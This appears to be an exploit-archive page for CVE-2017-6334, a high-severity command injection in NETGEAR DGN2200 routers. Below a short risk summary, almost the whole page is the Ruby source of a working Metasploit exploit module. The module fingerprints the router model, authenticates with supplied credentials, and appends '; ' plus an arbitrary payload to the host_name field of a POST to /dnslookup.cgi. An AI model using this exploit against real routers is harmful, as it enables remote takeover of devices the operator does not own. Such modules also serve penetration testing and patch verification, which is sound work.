Netgear DGN2200 dnslookup.cgi Command Injection

Published
Credit
Risk
2017.06.27
thecarterb
High
CWE
CVE
Local
Remote
CWE-78
CVE-2017-6334
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
9/10
10/10
8/10
Exploit range
Attack complexity
Authentication
Remote
Low
Single time
Confidentiality impact
Integrity impact
Availability impact
Complete
Complete
Complete

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/http'
require "base64"

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => "Netgear DGN2200 dnslookup.cgi Command Injection",
'Description' => %q{
This module exploits a command injection vulnerablity in NETGEAR
DGN2200v1/v2/v3/v4 routers by sending a specially crafted post request
with valid login details.
},
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Author' => [
'thecarterb', # Metasploit Module
'SivertPL' # Vuln discovery
],
'DefaultTarget' => 0,
'Privileged' => true,
'Arch' => [ARCH_CMD],
'Targets' => [
[ 'NETGEAR DDGN2200 Router', { } ]
],
'References' =>
[
[ 'EDB', '41459'],
[ 'CVE', '2017-6334']
],
'DisclosureDate' => 'Feb 25 2017',
))

register_options(
[
Opt::RPORT(80),
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
])

register_advanced_options(
[
OptString.new('HOSTNAME', [true, '"Hostname" to look up (doesn\'t really do anything important)', 'www.google.com'])
])
end

# Requests the login page which tells us the hardware version
def check
res = send_request_cgi({'uri'=>'/'})
if res.nil?
fail_with(Failure::Unreachable, 'Connection timed out.')
end
# Checks for the `WWW-Authenticate` header in the response
if res.headers["WWW-Authenticate"]
data = res.to_s
marker_one = "Basic realm=\"NETGEAR "
marker_two = "\""
model = data[/#{marker_one}(.*?)#{marker_two}/m, 1]
vprint_status("Router is a NETGEAR router (#{model})")
model_numbers = ['DGN2200v1', 'DGN2200v2', 'DGN2200v3', 'DGN2200v4']
if model_numbers.include?(model)
print_good("Router may be vulnerable (NETGEAR #{model})")
return CheckCode::Detected
else
return CheckCode::Safe
end
else
print_error('Router is not a NETGEAR router')
return CheckCode::Safe
end
end

def exploit
check

# Convert datastores
user = datastore['USERNAME']
pass = datastore['PASSWORD']
hostname = datastore['HOSTNAME']

vprint_status("Using encoder: #{payload.encoder} ")
print_status('Sending payload...')

vprint_status("Attempting to authenticate with: #{user}:#{pass} (b64 encoded for auth)")

creds_combined = Base64.strict_encode64("#{user}:#{pass}")
vprint_status("Encoded authentication: #{creds_combined}")

res = send_request_cgi({
'uri' => '/dnslookup.cgi',
'headers' => {
'Authorization' => "Basic #{creds_combined}"
},
'vars_post' => {
'lookup' => 'Lookup',
'host_name' => hostname + '; ' + payload.encoded
}})

end
end


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